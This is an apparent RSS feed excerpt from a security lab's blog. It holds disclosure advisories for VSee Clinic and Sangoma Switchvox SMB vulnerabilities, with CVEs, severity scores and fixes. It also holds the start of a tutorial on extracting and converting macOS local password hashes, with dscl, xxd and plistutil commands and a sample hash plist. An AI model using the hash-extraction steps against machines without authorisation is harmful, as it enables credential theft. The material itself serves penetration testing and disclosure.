      <pubDate>Mon, 20 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/vseeclinic/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in VSee Clinic that can lead to unauthorized access to and deletion of files as well as exposure of SFTP credentials.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-13380&lt;/td&gt;
          &lt;td&gt;VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-13381&lt;/td&gt;
          &lt;td&gt;VSee Clinic and API Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-13380-vsee-clinic-and-api-exposes-cleartext-sftp-credentials-in-unauthenticated-http-responses&#34;&gt;CVE-2026-13380: VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/h2&gt;
&lt;p&gt;VSee Clinic 7.1.26 and VSee Clinic API 1.3.0 exposes cleartext SFTP credentials in the HTTP responses of three unauthenticated endpoints. The credentials are present in these responses only when SFTP connections have been configured within the application. No authentication is required to retrieve these credentials. An unauthenticated remote attacker who observes any of these HTTP responses on an instance where SFTP is configured can obtain the credentials and use them to access the associated SFTP server.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in VSee Clinic that can lead to unauthorized access to and deletion of files as well as exposure of SFTP credentials.&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-13380&lt;/td&gt;
          &lt;td&gt;VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-13381&lt;/td&gt;
          &lt;td&gt;VSee Clinic and API Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-13380-vsee-clinic-and-api-exposes-cleartext-sftp-credentials-in-unauthenticated-http-responses&#34;&gt;CVE-2026-13380: VSee Clinic and API Exposes Cleartext SFTP Credentials in Unauthenticated HTTP Responses&lt;/h2&gt;
&lt;p&gt;VSee Clinic 7.1.26 and VSee Clinic API 1.3.0 exposes cleartext SFTP credentials in the HTTP responses of three unauthenticated endpoints. The credentials are present in these responses only when SFTP connections have been configured within the application. No authentication is required to retrieve these credentials. An unauthenticated remote attacker who observes any of these HTTP responses on an instance where SFTP is configured can obtain the credentials and use them to access the associated SFTP server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 9.0 (Critical)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N&lt;/p&gt;
&lt;h2 id=&#34;cve-2026-13381-vsee-clinic-and-api-insecure-direct-object-reference-in-file-api-allows-unauthorized-file-access-and-deletion&#34;&gt;CVE-2026-13381: VSee Clinic and API Insecure Direct Object Reference in File API Allows Unauthorized File Access and Deletion&lt;/h2&gt;
&lt;p&gt;VSee Clinic 7.1.26 and API 1.3.0 contain an Insecure Direct Object Reference (IDOR) vulnerability in the /v1.3.0/api/files endpoint. An authenticated attacker can manipulate the &amp;lsquo;remark&amp;rsquo; request parameter to enumerate, retrieve, and delete files belonging to other users on the application server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 8.7 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;VSee Clinic from 7.1.26 before 7.1.26.1. VSee Clinic API from 1.3.0 before 1.3.0.1.&lt;/p&gt;
&lt;p&gt;VSee Clinic API&amp;rsquo;s default status is uknown for CVE-2026-13380 and unaffected for CVE-2026-13381.&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CVE-2026-13380&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-201 Insertion of sensitive information into sent data&lt;/li&gt;
&lt;li&gt;CWE-312 Cleartext storage of sensitive information&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2026-13381&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-639 Authorization bypass through user-controlled key&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Update VSee Clinic to 7.1.26.1 or later and VSee Clinic API to 1.3.0.1 or later&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;These vulnerabilities were discovered by Chris Jones, Drew Young, and Maguire Younes as part of research performed by Security Risk Advisors.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;June 16, 2026 - SRA submits vulnerability to vendor&lt;/li&gt;
&lt;li&gt;June 24, 2026 - Vendor releases fix&lt;/li&gt;
&lt;li&gt;July 20, 2026 - SRA publishes CVEs and advisory&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>Advisory: Sangoma Switchvox SMB</title>
      <link>https://labs.sra.io/posts/switchvox/</link>
      <pubDate>Fri, 17 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/switchvox/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Sangoma Switchvox SMB that can lead to stored and reflected cross-site scripting (XSS), SQL injection (SQLi), remote code execution (RCE), and local file inclusion (LFI).&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9585&lt;/td&gt;
          &lt;td&gt;Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9586&lt;/td&gt;
          &lt;td&gt;Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9587&lt;/td&gt;
          &lt;td&gt;Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9588&lt;/td&gt;
          &lt;td&gt;Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-9585-unauthenticated-reflected-cross-site-scripting-xss-in-switchvox-smb-web-portal&#34;&gt;CVE-2026-9585 Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/h2&gt;
&lt;p&gt;An unauthenticated reflected cross-site scripting (XSS) vulnerability exists in Sangoma Switchvox SMB Edition version 8.3 (104997). The application fails to properly sanitize the portal parameter supplied to the invalid_browser and invalid_browser_login handlers. User-supplied data is reflected into JavaScript generated by the application, allowing attacker-controlled script execution within a victim&amp;rsquo;s browser.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;SRA has identified multiple vulnerabilities in Sangoma Switchvox SMB that can lead to stored and reflected cross-site scripting (XSS), SQL injection (SQLi), remote code execution (RCE), and local file inclusion (LFI).&lt;/p&gt;
&lt;h1 id=&#34;cve-identifiers&#34;&gt;CVE Identifiers&lt;/h1&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;CVE ID&lt;/th&gt;
          &lt;th&gt;CVE Name&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9585&lt;/td&gt;
          &lt;td&gt;Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9586&lt;/td&gt;
          &lt;td&gt;Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9587&lt;/td&gt;
          &lt;td&gt;Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;CVE-2026-9588&lt;/td&gt;
          &lt;td&gt;Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;vulnerability-details--description&#34;&gt;Vulnerability Details / Description&lt;/h1&gt;
&lt;h2 id=&#34;cve-2026-9585-unauthenticated-reflected-cross-site-scripting-xss-in-switchvox-smb-web-portal&#34;&gt;CVE-2026-9585 Unauthenticated Reflected Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/h2&gt;
&lt;p&gt;An unauthenticated reflected cross-site scripting (XSS) vulnerability exists in Sangoma Switchvox SMB Edition version 8.3 (104997). The application fails to properly sanitize the portal parameter supplied to the invalid_browser and invalid_browser_login handlers. User-supplied data is reflected into JavaScript generated by the application, allowing attacker-controlled script execution within a victim&amp;rsquo;s browser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 8.6 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:L&lt;/p&gt;
&lt;h2 id=&#34;cve-2026-9586-unauthenticated-sql-injection-leading-to-remote-code-execution-in-switchvox-smb&#34;&gt;CVE-2026-9586 Unauthenticated SQL Injection Leading to Remote Code Execution in Switchvox SMB&lt;/h2&gt;
&lt;p&gt;An unauthenticated SQL injection vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The /pa endpoint processes XML content beginning with &lt;code&gt;&amp;lt;PolycomIPPhone&amp;gt;&lt;/code&gt; and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization. An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 9.3 (Critical)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/p&gt;
&lt;h2 id=&#34;cve-2026-9587-authenticated-local-file-inclusion-lfi-in-switchvox-smb-web-portal&#34;&gt;CVE-2026-9587 Authenticated Local File Inclusion (LFI) in Switchvox SMB Web Portal&lt;/h2&gt;
&lt;p&gt;An authenticated local file inclusion vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The play_file functionality accepts user-controlled input through the sound_path parameter and fails to properly validate file paths before accessing the underlying filesystem. By supplying absolute paths, an authenticated attacker can retrieve files outside the intended directory scope.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 7.1 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/p&gt;
&lt;h2 id=&#34;cve-2026-9588-authenticated-stored-cross-site-scripting-xss-in-switchvox-smb-web-portal&#34;&gt;CVE-2026-9588 Authenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web Portal&lt;/h2&gt;
&lt;p&gt;A stored cross-site scripting (XSS) vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997) within the voicemail notification template functionality. The submit_modify_voicemail_template endpoint fails to properly sanitize HTML content supplied by authenticated users, allowing malicious JavaScript supplied through the template_text parameter to be stored server-side and subsequently rendered to other users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The CVSS base score of this vulnerability has been calculated to be 7.0 (High)&lt;/p&gt;
&lt;p&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:H/VA:N/SC:L/SI:L/SA:L&lt;/p&gt;
&lt;h1 id=&#34;affected-versions-and-models&#34;&gt;Affected Versions and Models&lt;/h1&gt;
&lt;p&gt;Sangoma Switchvox SMB from 8.3 (104997) before 8.4.0.2.&lt;/p&gt;
&lt;h1 id=&#34;mitre-cwe-weakness-enumeration&#34;&gt;MITRE CWE Weakness Enumeration&lt;/h1&gt;
&lt;p&gt;CVE-2026-9585&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-79 Improper neutralization of input during web page generation (&amp;lsquo;cross-site scripting&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2026-9586&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-89 Improper neutralization of special elements used in an SQL command (&amp;lsquo;SQL injection&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2026-9587&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-73 External control of file name or path&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVE-2026-9588&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CWE-79 Improper neutralization of input during web page generation (&amp;lsquo;cross-site scripting&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;remediation-options&#34;&gt;Remediation Options&lt;/h1&gt;
&lt;p&gt;Update Sangoma Switchvox SMB to 8.4.0.2 or later.&lt;/p&gt;
&lt;h1 id=&#34;source&#34;&gt;Source&lt;/h1&gt;
&lt;p&gt;These vulnerabilities were discovered by Cameron Lischke as part of research performed by Security Risk Advisors.&lt;/p&gt;
&lt;h1 id=&#34;timeframe&#34;&gt;Timeframe&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;May 11-26 2026 - SRA submits vulnerabilities to vendor&lt;/li&gt;
&lt;li&gt;June 2, 2026 - Vendor acknowledges disclosed vulnerabilities and intent to fix.&lt;/li&gt;
&lt;li&gt;July 14, 2026 - Vendor releases fix&lt;/li&gt;
&lt;li&gt;July 17, 2026 - SRA publishes CVEs and advisory&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>macOS Password Cracking</title>
      <link>https://labs.sra.io/posts/macospasswordcracking/</link>
      <pubDate>Tue, 14 Jul 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/macospasswordcracking/</guid>
      <description>&lt;h1 id=&#34;macos&#34;&gt;macOS&lt;/h1&gt;
&lt;p&gt;So you&amp;rsquo;ve got elevated access to a macOS machine and for whatever reason, you now need to target the local user password hashes. Unlike traditional Linux environments, this is a bit more convoluted than grabbing &lt;code&gt;/etc/shadow&lt;/code&gt; and calling it a day, enough so that I figured it&amp;rsquo;s worth documenting. For this post, we&amp;rsquo;ll assume you want to target the &lt;code&gt;ryleh&lt;/code&gt; user. Let&amp;rsquo;s start by first dumping the user details:&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;macos&#34;&gt;macOS&lt;/h1&gt;
&lt;p&gt;So you&amp;rsquo;ve got elevated access to a macOS machine and for whatever reason, you now need to target the local user password hashes. Unlike traditional Linux environments, this is a bit more convoluted than grabbing &lt;code&gt;/etc/shadow&lt;/code&gt; and calling it a day, enough so that I figured it&amp;rsquo;s worth documenting. For this post, we&amp;rsquo;ll assume you want to target the &lt;code&gt;ryleh&lt;/code&gt; user. Let&amp;rsquo;s start by first dumping the user details:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo dscl . -read /Users/ryleh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;user_list.png&#34;  alt=&#34;Listing user details&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This lists a lot of information but for this we&amp;rsquo;re particularly interested in the &lt;code&gt;ShadowHashData&lt;/code&gt; block. Get this info out of the environment and onto your own machine. Going forward, I&amp;rsquo;ll assume you&amp;rsquo;re working within a Linux environment (Ubuntu, specifically).&lt;/p&gt;
&lt;h1 id=&#34;ubuntu&#34;&gt;Ubuntu&lt;/h1&gt;
&lt;p&gt;To massage this data into a useable format, we&amp;rsquo;ll need the &lt;code&gt;plistutil&lt;/code&gt; package (&lt;code&gt;apt install libplist-utils&lt;/code&gt;). Assuming the previous &lt;code&gt;ShadowHashData&lt;/code&gt; data is now local within &lt;code&gt;ryleh.hashdata&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat ryleh.hashdata | xxd -p -r &amp;gt; ryleh.bin.plist
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plistutil -i ryleh.bin.plist -o ryleh.plist -f xml1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This gives us a proper plist, with all the data we need embedded within.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;#34;-//Apple//DTD PLIST 1.0//EN&amp;#34; &amp;#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;plist&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;SRP-RFC5054-4096-SHA512-PBKDF2&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;verifier&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		Q7hXEJ8cG/jhRgvBtieRXmanSUcpNm4ssPxjcUUWQcxUnu8JUv0WkKZYh8Tx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		DhOyQk786DdjSuqUWOV+vmVTedb3slWC98Y1/TPxUTBk9wtqoNh1ESc6ayys
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		339H4zNi+KcZ47zHgHgyWFbWpWZm/BLm4H4Vq5oO0s/UAmT+3bhTGOFrhgGq
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		P0faR8i1f1uSrw/S0I2kPgq312jGO91/2VLb9niC5i1mEfciFU+s0YyoBg/E
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		8UGtSpdg5X+MYQotKzeiSi/CMAeyHCpSpzyc35kngTHYDcFzTUB5hDB1MOJY
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		GPUXJiimMzd5LefrLsdizNDW0Dm6GT8YLCyx6LLBy0UTdE9gHPNt6xO7Iv2N
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		VwfK5d1H3nD27Ko6pSi0x+H5WdHMQ96/MdMgSLpsNWPF0U6ybpU03nFr6MPE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		dqw+hiuAaXju9I8zNcsPt4twVxbG9dlcvGjlpWA+2+tsuq7oCeYyVdNM9Lfa
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		W7ELmZTKH06eQVmBMgO8MwCC6g79x22v1fPYuywPQGSnhQV8P9QJGkev0Kvx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		BiwQ1IBcF/bzx2fUCx+f6BSpu0DMDQsUW2gjbB6VaBJOWYCsp6XZPQFYpVf6
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		5K7GYNLjVBySEUUsTS3sSJhdJac+xlCWrf8C1/3lDU3Bmy4Eku371ErlCLc4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		x+PcnwNaS6wLAn+c3eOhV78=
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;salt&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		GkTtt96MhhhLVE7gQdaLUL9j/emkaBT5TKHGnhkF2kk=
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;iterations&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;integer&amp;gt;&lt;/span&gt;131578&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/integer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;SALTED-SHA512-PBKDF2&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;key&amp;gt;&lt;/span&gt;entropy&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		dyGspnfdJffuNG5N1I8RJQRSxubbknBEswHF8Dwz3wbVzel0qf42rv6kqJe8
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		TiN2V7gzrZb+6YAqy60q5ha4lvXccsjaG5DAgl4hnS1byPUUyontKx2EXeul
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		3bKt9pDuLU3i/lnx2eLVedIizn0pG2XzJYKPLR23xcNn1lnU5IA=
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
